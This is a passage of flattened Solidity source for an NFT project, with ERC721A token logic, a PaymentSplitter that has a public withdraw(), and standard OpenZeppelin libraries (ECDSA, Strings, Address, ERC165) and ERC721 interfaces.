"ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require( _exists(tokenId), "ERC721A: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity > 0, "ERC721A: quantity must be greater 0"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; } _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721A: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol) pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. * * NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you * to run tests before sending real value to this contract. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20 => uint256) private _erc20TotalReleased; mapping(IERC20 => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20 token) public view returns (uint256) { return _erc20TotalReleased[token]; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20 token, address account) public view returns (uint256) { return _erc20Released[token][account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } function withdraw() public virtual{ for (uint256 i = 0; i < _payees.length; i++) { _release(payable(_payees[i])); } } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function _release(address payable account) internal { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + totalReleased(); uint256 payment = _pendingPayment(account, totalReceived, released(account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] += payment; _totalReleased += payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC721.sol) pragma solidity ^0.8.0; import "../token/ERC721/IERC721.sol"; // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../token/ERC721/extensions/IERC721Metadata.sol"; // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../token/ERC721/extensions/IERC721Enumerable.sol"; // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Receiver.sol) pragma solidity ^0.8.0; import "../token/ERC721/IERC721Receiver.sol"; // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver 